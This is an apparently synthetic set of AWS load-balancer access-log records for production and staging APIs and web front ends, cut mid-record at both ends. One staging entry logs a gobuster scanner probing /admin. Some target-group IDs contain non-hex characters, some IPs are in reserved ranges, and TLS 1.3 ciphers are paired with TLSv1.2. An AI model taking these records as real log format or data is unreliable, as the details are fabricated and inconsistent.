AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbbb-2474cc69ad154ce19c4bbe8c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:03.322038Z "forward" "-" "-" "10.0.8.165:443" "200" "-" "-" +https 2024-11-01T01:26:03.838572Z prod-api-alb 143.0.85.145:59403 10.0.220.86:443 0.036539 0.491052 0.016841 200 200 700 3107 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbbb-8315054aedcb440fbc066537" "-" "-" 3 2024-11-01T01:26:03.838572Z "forward" "-" "-" "10.0.220.86:443" "200" "-" "-" +http 2024-11-01T01:26:05.535678Z staging-alb 6.96.133.95:57116 127.187.115.176:443 0.075331 0.524367 0.028085 200 200 953 11485 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbbd-ec42d16b78844a7ba25ee13f" "-" "-" 2 2024-11-01T01:26:05.535678Z "forward" "-" "-" "127.187.115.176:443" "200" "-" "-" +https 2024-11-01T01:26:06.829796Z prod-api-alb 9.126.208.156:48727 10.0.107.250:443 0.068358 0.262916 0.093114 404 404 977 2914 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbbe-7bc3024262114c988ca67fac" "prod-api-alb.example.com" "-" 3 2024-11-01T01:26:06.829796Z "forward" "-" "-" "10.0.107.250:443" "404" "-" "-" +https 2024-11-01T01:26:08.350149Z prod-api-alb 89.7.5.37:17399 10.0.177.244:443 0.006521 0.337340 0.044680 404 404 464 501 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbc0-aff68462eb224035afddf135" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:08.350149Z "forward" "-" "-" "10.0.177.244:443" "404" "-" "-" +https 2024-11-01T01:26:10.165417Z prod-api-alb 242.127.111.70:16838 10.0.255.152:443 0.093678 0.002911 0.043317 200 200 628 2610 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbc2-dc8839f2149c47c89a9880bc" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:10.165417Z "forward" "-" "-" "10.0.255.152:443" "200" "-" "-" +http 2024-11-01T01:26:12.160283Z staging-alb 45.155.205.208:53904 132.38.110.192:8080 0.118616 0.489698 0.000995 301 301 495 13176 "POST /admin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbc4-e90a071e057149ceb307fefa" "-" "-" 0 2024-11-01T01:26:12.160283Z "forward" "-" "-" "132.38.110.192:8080" "301" "-" "-" +https 2024-11-01T01:26:12.391739Z prod-web-alb 83.200.224.234:51773 10.0.35.138:443 0.054132 0.433695 0.040560 302 302 950 14378 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbc4-2fae3c64a5e540eb881b2095" "-" "-" 10 2024-11-01T01:26:12.391739Z "forward" "-" "-" "10.0.35.138:443" "302" "-" "-" +https 2024-11-01T01:26:14.293992Z prod-web-alb 104.90.85.72:58478 10.0.138.117:443 0.083882 0.211791 0.018012 302 302 144 13707 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbc6-1ea5fb2ce1d34531bce53c33" "prod-web-alb.example.com" "-" 6 2024-11-01T01:26:14.293992Z "forward" "-" "-" "10.0.138.117:443" "302" "-" "-" +https 2024-11-01T01:26:14.611654Z staging-alb 74.8.78.107:57970 184.112.8.233:80 0.004711 0.070974 0.120562 301 301 539 10133 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbc6-8401217a79ed4b8fba9f6dbf" "staging-alb.example.com" "-" 6 2024-11-01T01:26:14.611654Z "forward" "-" "-" "184.112.8.233:80" "301" "-" "-" +https 2024-11-01T01:26:15.671652Z prod-web-alb 94.154.87.131:15815 10.0.251.233:443 0.081303 0.055758 0.061966 301 301 934 3953 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbc7-7fa82bd8dce045be9a1f5f66" "prod-web-alb.example.com" "-" 5 2024-11-01T01:26:15.671652Z "forward" "-" "-" "10.0.251.233:443" "301" "-" "-" +https 2024-11-01T01:26:17.128076Z prod-api-alb 77.143.227.87:50267 10.0.42.157:443 0.004067 0.352143 0.021205 404 404 447 6670 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbc9-91b0601fd60345be9de0b154" "prod-api-alb.example.com" "-" 5 2024-11-01T01:26:17.128076Z "forward" "-" "-" "10.0.42.157:443" "404" "-" "-" +https 2024-11-01T01:26:19.111877Z prod-web-alb 2.195.46.253:14825 10.0.180.183:443 0.098746 0.199695 0.062807 200 200 395 9572 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbcb-5d352558e6ca492b9205dc6f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:26:19.111877Z "forward" "-" "-" "10.0.180.183:443" "200" "-" "-" +https 2024-11-01T01:26:20.529026Z prod-web-alb 141.229.65.129:14177 10.0.145.22:443 0.005156 0.044038 0.067149 302 302 145 2612 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbcc-1f36e5d21a744d6eb26a244f" "prod-web-alb.example.com" "-" 2 2024-11-01T01:26:20.529026Z "forward" "-" "-" "10.0.145.22:443" "302" "-" "-" +https 2024-11-01T01:26:22.169541Z prod-web-alb 19.77.152.201:23626 10.0.227.176:443 0.034449 0.098212 0.094678 200 200 177 4504 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbce-11e3cfe94d064faf9e50be0c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:26:22.169541Z "forward" "-" "-" "10.0.227.176:443" "200" "-" "-" +http 2024-11-01T01:26:23.760509Z staging-alb 89.144.62.73:19338 198.172.4.115:8080 0.142168 0.714043 0.087582 301 301 395 5290 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbcf-dc916edda9404238b50fa761" "staging-alb.example.com" "-" 9 2024-11-01T01:26:23.760509Z "forward" "-" "-" "198.172.4.115:8080" "301" "-" "-" +http 2024-11-01T01:26:24.410606Z staging-alb 28.195.102.15:61091 72.231.176.206:8080 0.041136 0.237204 0.002688 200 200 101 11073 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbd0-03ae07d91ab14de7b53ca39a" "staging-alb.example.com" "-" 0 2024-11-01T01:26:24.410606Z "forward" "-" "-" "72.231.176.206:8080" "200" "-" "-" +https 2024-11-01T01:26:26.029076Z prod-web-alb 250.92.120.129:37546 10.0.230.112:443 0.072582 0.129835 0.021877 200 200 332 6670 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd2-7ff02b547dff471292a19475" "prod-web-alb.example.com" "-" 5 2024-11-01T01:26:26.029076Z "forward" "-" "-" "10.0.230.112:443" "200" "-" "-" +https 2024-11-01T01:26:26.182310Z prod-web-alb 168.227.51.97:30048 10.0.208.173:443 0.059800 0.276371 0.048821 200 200 240 1722 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbd2-14955fe6c12b4d53bb1434dc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:26.182310Z "forward" "-" "-" "10.0.208.173:443" "200" "-" "-" +https 2024-11-01T01:26:26.412575Z prod-web-alb 92.183.217.182:29962 10.0.10.17:443 0.026564 0.213538 0.019162 301 301 664 2882 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd2-d464ed8101cd43dbb8e06371" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:26.412575Z "forward" "-" "-" "10.0.10.17:443" "301" "-" "-" +https 2024-11-01T01:26:28.397572Z prod-api-alb 140.127.231.96:46005 10.0.122.152:443 0.052713 0.134854 0.084894 200 200 820 4495 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbd4-403a28320aad46058fe75b3c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:28.397572Z "forward" "-" "-" "10.0.122.152:443" "200" "-" "-" +https 2024-11-01T01:26:29.758434Z prod-web-alb 240.81.40.193:39453 10.0.142.128:443 0.010984 0.471589 0.082654 302 302 712 10970 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd5-dbd647b2db424cf19a362321" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:29.758434Z "forward" "-" "-" "10.0.142.128:443" "302" "-" "-" +https 2024-11-01T01:26:30.904949Z staging-alb 23.210.197.127:36156 251.161.51.91:443 0.039050 0.583680 0.017391 301 301 679 13590 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbd6-03206585a5b74284b6ec2f8e" "staging-alb.example.com" "-" 3 2024-11-01T01:26:30.904949Z "forward" "-" "-" "251.161.51.91:443" "301" "-" "-" +https 2024-11-01T01:26:32.396027Z prod-web-alb 95.127.245.105:30334 10.0.174.185:443 0.010138 0.445504 0.090977 404 404 36 6722 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbd8-1a12d1c4d83048799ad23d11" "prod-web-alb.example.com" "-" 0 2024-11-01T01:26:32.396027Z "forward" "-" "-" "10.0.174.185:443" "404" "-" "-" +https 2024-11-01T01:26:32.502579Z prod-api-alb 251.195.144.128:28878 10.0.83.85:443 0.027020 0.300298 0.013056 301 301 778 12292 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbd8-1ccd8723a01a42db81642147" "prod-api-alb.example.com" "-" 6 2024-11-01T01:26:32.502579Z "forward" "-" "-" "10.0.83.85:443" "301" "-" "-" +https 2024-11-01T01:26:33.628278Z prod-api-alb 243.45.165.46:60149 10.0.31.159:443 0.058247 0.101866 0.090625 200 200 478 13628 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbd9-3f9855ae52ce4026be477487" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:33.628278Z "forward" "-" "-" "10.0.31.159:443" "200" "-" "-" +https 2024-11-01T01:26:34.302524Z prod-api-alb 98.84.210.250:30892 10.0.135.167:443 0.072141 0.361535 0.099254 404 404 874 13825 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbda-1b6d89715e664e6e9fb25fac" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:34.302524Z "forward" "-" "-" "10.0.135.167:443" "404" "-" "-" +http 2024-11-01T01:26:36.294275Z staging-alb 103.23.17.88:51525 34.76.99.22:443 0.028739 0.480007 0.087923 200 200 560 5326 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbdc-32f55eb8f26d472485f174c6" "-" "-" 5 2024-11-01T01:26:36.294275Z "forward" "-" "-" "34.76.99.22:443" "200" "-" "-" +https 2024-11-01T01:26:38.272274Z prod-web-alb 185.199.167.18:58875 10.0.248.36:443 0.003738 0.337206 0.034620 301 301 107 12399 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbde-df8496d168a94a518b45320e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:26:38.272274Z "forward" "-" "-" "10.0.248.36:443" "301" "-" "-" +https 2024-11-01T01:26:39.547413Z prod-web-alb 204.171.121.160:59613 10.0.125.86:443 0.052486 0.188741 0.033100 200 200 235 2659 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbdf-1843d147ff1e48ee83ead41f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:26:39.547413Z "forward" "-" "-" "10.0.125.86:443" "200" "-" "-" +https 2024-11-01T01:26:40.456969Z staging-alb 160.134.202.24:54415 110.43.98.52:443 0.051559 0.224793 0.050217 302 302 159 1823 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbe0-e7afd90b669f483fa91f0b34" "staging-alb.example.com" "-" 8 2024-11-01T01:26:40.456969Z "forward" "-" "-" "110.43.98.52:443" "302" "-" "-" +http 2024-11-01T01:26:41.334238Z staging-alb 235.13.51.94:22330 199.220.104.157:8080 0.042170 0.543899 0.058877 404 404 50 11994 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbe1-4068b150c3dd46a8aa18cbe9" "staging-alb.example.com" "-" 3 2024-11-01T01:26:41.334238Z "forward" "-" "-" "199.220.104.157:8080" "404" "-" "-" +https 2024-11-01T01:26:43.265855Z prod-api-alb 245.91.56.183:57723 10.0.86.202:443 0.061005 0.449533 0.068676 200 200 364 13633 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbe3-852fe35b2ce8452d88d47d78" "prod-api-alb.example.com" "-" 10 2024-11-01T01:26:43.265855Z "forward" "-" "-" "10.0.86.202:443" "200" "-" "-" +https 2024-11-01T01:26:44.610767Z prod-api-alb 54.53.74.58:48779 10.0.95.140:443 0.014916 0.237388 0.061590 200 200 903 10525 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbe4-21a621ff366b4b46b2a11034" "prod-api-alb.example.com" "-" 7 2024-11-01T01:26:44.610767Z "forward" "-" "-" "10.0.95.140:443" "200" "-" "-" +https 2024-11-01T01:26:46.160612Z prod-api-alb 128.159.118.244:50191 10.0.24.159:443 0.030450 0.357416 0.028513 301 301 652 6877 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbe6-098db7bd8a6f4abb8f262d8b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:26:46.160612Z "forward" "-" "-" "10.0.24.159:443" "301" "-" "-" +https 2024-11-01T01:26:47.495589Z prod-api-alb 109.65.252.105:43995 10.0.249.132:443 0.041636 0.199291 0.035316 200 200 33 2960 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbe7-643a41abdec64d90bbb3b0fb" "prod-api-alb.example.com" "-" 7 2024-11-01T01:26:47.495589Z "forward" "-" "-" "10.0.249.132:443" "200" "-" "-" +https 2024-11-01T01:26:49.241398Z staging-alb 61.179.33.128:30928 245.221.169.139:8080 0.008906 0.099481 0.133131 404 404 654 4963 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbe9-e9b2c9da2cef4d54b865b889" "staging-alb.example.com" "-" 7 2024-11-01T01:26:49.241398Z "forward" "-" "-" "245.221.169.139:8080" "404" "-" "-" +https 2024-11-01T01:26:51.065025Z prod-web-alb 77.56.74.230:63767 10.0.223.110:443 0.008446 0.201979 0.056507 200 200 525 9682 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbeb-c736c6cb723346e6b9277f92" "prod-web-alb.example.com" "-" 4 2024-11-01T01:26:51.065025Z "forward" "-" "-" "10.0.223.110:443" "200" "-" "-" +https 2024-11-01T01:26:53.031965Z staging-alb 187.35.125.101:54714 146.199.237.116:8080 0.121290 0.412345 0.133929 200 200 109 12823 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbed-8c9a40e4548a4c4bb4e59155" "staging-alb.example.com" "-" 6 2024-11-01T01:26:53.031965Z "forward" "-" "-" "146.199.237.116:8080" "200" "-" "-" +https 2024-11-01T01:26:53.969096Z prod-web-alb 59.254.149.251:15115 10.0.240.110:443 0.095478 0.280174 0.091872 200 200 168 4147 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cbed-e88f5fdc3ad04763b7eac795" "prod-web-alb.example.com" "-" 2 2024-11-01T01:26:53.969096Z "forward" "-" "-" "10.0.240.110:443" "200" "-" "-" +https 2024-11-01T01:26:55.064478Z prod-web-alb 139.167.59.185:45424 10.0.212.109:443 0.034502 0.474959 0.013115 301 301 951 4894 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbef-6bc304711a6b4da288d587a2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:26:55.064478Z "forward" "-" "-" "10.0.212.109:443" "301" "-" "-" +https 2024-11-01T01:26:55.900216Z prod-api-alb 234.214.173.132:20625 10.0.158.117:443 0.000103 0.312995 0.091978 302 302 414 7002 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbef-9e03ddc912214787adf5b269" "prod-api-alb.example.com" "-" 7 2024-11-01T01:26:55.900216Z "forward" "-" "-" "10.0.158.117:443" "302" "-" "-" +http 2024-11-01T01:26:57.236101Z staging-alb 184.202.196.145:45761 219.60.213.41:443 0.051328 0.092686 0.038894 200 200 181 4960 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbf1-dcd38f616f154b7792bd84e3" "staging-alb.example.com" "-" 4 2024-11-01T01:26:57.236101Z "forward" "-" "-" "219.60.213.41:443" "200" "-" "-" +https 2024-11-01T01:26:58.284103Z staging-alb 189.98.52.205:40264 205.76.152.81:80 0.007363 0.663322 0.010696 301 301 790 1782 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbf2-01f272a07a7e40b2b25d4e0f" "staging-alb.example.com" "-" 2 2024-11-01T01:26:58.284103Z "forward" "-" "-" "205.76.152.81:80" "301" "-" "-" +http 2024-11-01T01:26:59.961956Z staging-alb 214.97.167.126:30000 237.78.221.100:8080 0.091336 0.539267 0.131974 200 200 949 8742 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cbf3-ea1a39bd6b494c978ba3c53f" "staging-alb.example.com" "-" 5 2024-11-01T01:26:59.961956Z "forward" "-" "-" "237.78.221.100:8080" "200" "-" "-" +https 2024-11-01T01:27:01.906570Z prod-web-alb 88.131.125.203:12982 10.0.213.226:443 0.031321 0.451051 0.032936 302 302 311 3640 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbf5-11f910dc11f74024b30f4ca6" "prod-web-alb.example.com" "-" 10 2024-11-01T01:27:01.906570Z "forward" "-" "-" "10.0.213.226:443" "302" "-" "-" +http 2024-11-01T01:27:02.271281Z staging-alb 101.155.221.91:59789 95.245.188.137:8080 0.041494 0.666989 0.127352 301 301 285 4806 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cbf6-474bda8a112e4beeae487d79" "-" "-" 8 2024-11-01T01:27:02.271281Z "forward" "-" "-" "95.245.188.137:8080" "301" "-" "-" +https 2024-11-01T01:27:03.937659Z prod-api-alb 31.46.7.2:28566 10.0.74.93:443 0.043788 0.123152 0.054681 200 200 893 1503 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbf7-79e3db04af4c49a492c86b82" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:03.937659Z "forward" "-" "-" "10.0.74.93:443" "200" "-" "-" +https 2024-11-01T01:27:04.694385Z prod-api-alb 11.97.230.200:13388 10.0.135.174:443 0.014993 0.144831 0.023531 200 200 630 8132 "GET 